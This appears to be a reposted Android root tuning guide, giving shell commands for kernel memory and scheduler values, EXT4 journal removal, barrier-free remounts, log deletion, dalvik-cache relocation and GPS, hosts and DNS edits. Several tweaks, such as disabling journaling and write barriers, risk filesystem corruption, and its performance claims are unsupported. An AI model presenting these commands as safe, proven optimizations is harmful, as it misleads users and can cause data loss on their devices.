echo "0" > /proc/sys/vm/oom_kill_allocating_task;<br />
echo "0" > /proc/sys/vm/panic_on_oom;<br />
echo "0" > /proc/sys/vm/laptop_mode;<br />
echo "0" > /proc/sys/vm/swappiness<br />
echo "50" > /proc/sys/vm/vfs_cache_pressure<br />
echo "90" > /proc/sys/vm/dirty_ratio<br />
echo "70" > /proc/sys/vm/dirty_background_ratio<br />
4. misc kernel tweaks<br />
Code:<br />
echo "8" > /proc/sys/vm/page-cluster;<br />
echo "64000" > /proc/sys/kernel/msgmni;<br />
echo "64000" > /proc/sys/kernel/msgmax;<br />
echo "10" > /proc/sys/fs/lease-break-time;<br />
echo "500,512000,64,2048" > /proc/sys/kernel/sem;<br />
5. battery tweaks<br />
Code:<br />
echo "500" > /proc/sys/vm/dirty_expire_centisecs<br />
echo "1000" > /proc/sys/vm/dirty_writeback_centisecs<br />
6. EXT4 tweaks (greatly increase I/O)<br />
(needs /system, /cache, /data partitions formatted to EXT4)<br />
<br />
a) removes journalism<br />
Code:<br />
tune2fs -o journal_data_writeback /block/path/to/system<br />
tune2fs -O ^has_journal /block/path/to/system<br />
tune2fs -o journal_data_writeback /block/path/to/cache<br />
tune2fs -O ^has_journal /block/path/to/cache<br />
tune2fs -o journal_data_writeback /block/path/to/data<br />
tune2fs -O ^has_journal /block/path/to/data<br />
b) perfect mount options<br />
Code:<br />
busybox mount -o remount,noatime,noauto_da_alloc,nodiratime,barrier=0,nobh /system<br />
busybox mount -o remount,noatime,noauto_da_alloc,nosuid,nodev,nodiratime,barrier=0,nobh /data<br />
busybox mount -o remount,noatime,noauto_da_alloc,nosuid,nodev,nodiratime,barrier=0,nobh /cache<br />
7. Flags blocks as non-rotational and increases cache size<br />
Code:<br />
LOOP=`ls -d /sys/block/loop*`;<br />
RAM=`ls -d /sys/block/ram*`;<br />
MMC=`ls -d /sys/block/mmc*`;<br />
for j in $LOOP $RAM<br />
do<br />
echo "0" > $j/queue/rotational;<br />
echo "2048" > $j/queue/read_ahead_kb;<br />
done<br />
8. microSD card speed tweak<br />
Code:<br />
echo "2048" > /sys/devices/virtual/bdi/179:0/read_ahead_kb;<br />
9. Defrags database files<br />
Code:<br />
for i in \<br />
`find /data -iname "*.db"`<br />
do \<br />
sqlite3 $i 'VACUUM;';<br />
done<br />
9. Remove logger<br />
Code:<br />
rm /dev/log/main<br />
10. Ondemand governor tweaks<br />
Code:<br />
SAMPLING_RATE=$(busybox expr `cat /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_transition_latency` \* 750 / 1000)<br />
echo 95 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold<br />
echo $SAMPLING_RATE > /sys/devices/system/cpu/cpu0/cpufreq/ondemand/sampling_rate<br />
11. Auto change governor and I/O Scheduler<br />
<br />
a) I/O Scheduler (Best: MTD devices - VR; EMMC devices - SIO) - needs kernel with these<br />
Code:<br />
echo "vr" > /sys/block/mmcblk0/queue/scheduler<br />
or<br />
echo "sio" > /sys/block/mmcblk0/queue/scheduler<br />
b) Governor (Best: Minmax > SavagedZen > Smoothass > Smartass > Interactive) - needs kernel with these<br />
Code:<br />
echo "governor-name-here" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor<br />
12. Auto-zipalign on boot<br />
(needs zipalign bin)<br />
Code:<br />
http://forum.xda-developers.com/showthread.php?t=860586<br />
13. Loopy Smoothness tweak<br />
Code:<br />
http://forum.xda-developers.com/show....php?t=1137554<br />
http://forum.xda-developers.com/show....php?t=1205744<br />
14. Move dalvik-cache to cache partition (if it's big enough) to free up data partition space<br />
Code:<br />
CACHESIZE=$(df -k /cache | tail -n1 | tr -s ' ' | cut -d ' ' -f2)<br />
if [ $CACHESIZE -gt 80000 ]<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>then<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>echo "Large cache detected, moving dalvik-cache to /cache"<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if [ ! -d /cache/dalvik-cache ]<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>then<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>busybox rm -rf /cache/dalvik-cache /data/dalvik-cache<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>mkdir /cache/dalvik-cache /data/dalvik-cache<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>fi<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>busybox chown 1000:1000 /cache/dalvik-cache<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>busybox chmod 0771 /cache/dalvik-cache<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span># bind mount dalvik-cache so we can still boot without the sdcard<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>busybox mount -o bind /cache/dalvik-cache /data/dalvik-cache<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>busybox chown 1000:1000 /data/dalvik-cache<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>busybox chmod 0771 /data/dalvik-cache<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>else<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>echo "Small cache detected, dalvik-cache will remain on /data"<br />
fi<br />
15. Disable normalize sleeper<br />
Code:<br />
mount -t debugfs none /sys/kernel/debug<br />
echo NO_NORMALIZED_SLEEPER > /sys/kernel/debug/sched_features<br />
16. OOM groupings and priorities tweaks - SuperCharger<br />
Code:<br />
http://forum.xda-developers.com/showthread.php?t=991276<br />
<br />
GPS.conf<br />
(create or edit your /system/etc/gps.conf with a file manager with root access)<br />
<br />
For improving GPS lock time and signal.<br />
<br />
a) European NTP server (replace for america or asia in your case)<br />
Code:<br />
NTP_SERVER=europe.pool.ntp.org<br />
XTRA_SERVER_1=http://xtra1.gpsonextra.net/xtra.bin<br />
XTRA_SERVER_2=http://xtra2.gpsonextra.net/xtra.bin<br />
XTRA_SERVER_3=http://xtra3.gpsonextra.net/xtra.bin<br />
b) SE supl for A-GPS (better than Nokia's or Google's)<br />
Code:<br />
SUPL_HOST=supl.sonyericsson.com<br />
SUPL_PORT=7275<br />
<br />
Other tweaks or guidelines<br />
<br />
1. Patch your hosts file for blocking Ads<br />
(please think before doing this; many developers are supported through this way)<br />
Code:<br />
You can use AdFree application for this or changing manually your hosts file.<br />
<br />
Here are some databases:<br />
http://www.mvps.org/winhelp2002/hosts.txt<br />
http://pgl.yoyo.org/adservers/serverlist.php?showintro=0;hostformat=hosts<br />
2. Use CyanogenMOD's APN list file - it's one of the most complete.<br />
Code:<br />
It's located in /system/etc/apns-conf.xml<br />
3. Use UOT kitchen for basic theming on your device.<br />
Code:<br />
http://uot.dakra.lt/<br />
4. Use Google's dns servers<br />
Code:<br />
Create an empty file, name it resolv.conf and put there these 2 lines:<br />
nameserver 8.8.8.8<br />
nameserver 8.8.4.4<br />
<br />
Save to /system/etc/.<br />
5. Update Superuser and su binary to latest version (3.0 beta)<br />
Code:<br />
http://goo-inside.me/superuser/<br />
6. Disable sync feature in sqlite<br />
(author: ownhere - needs a source for your device so you can compile the /system/lib/libsqlite.so)<br />
Code:<br />
Patch file here: http://forum.xda-developers.com/showthread.php?t=903507<br />
7. Do not use task killers.-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0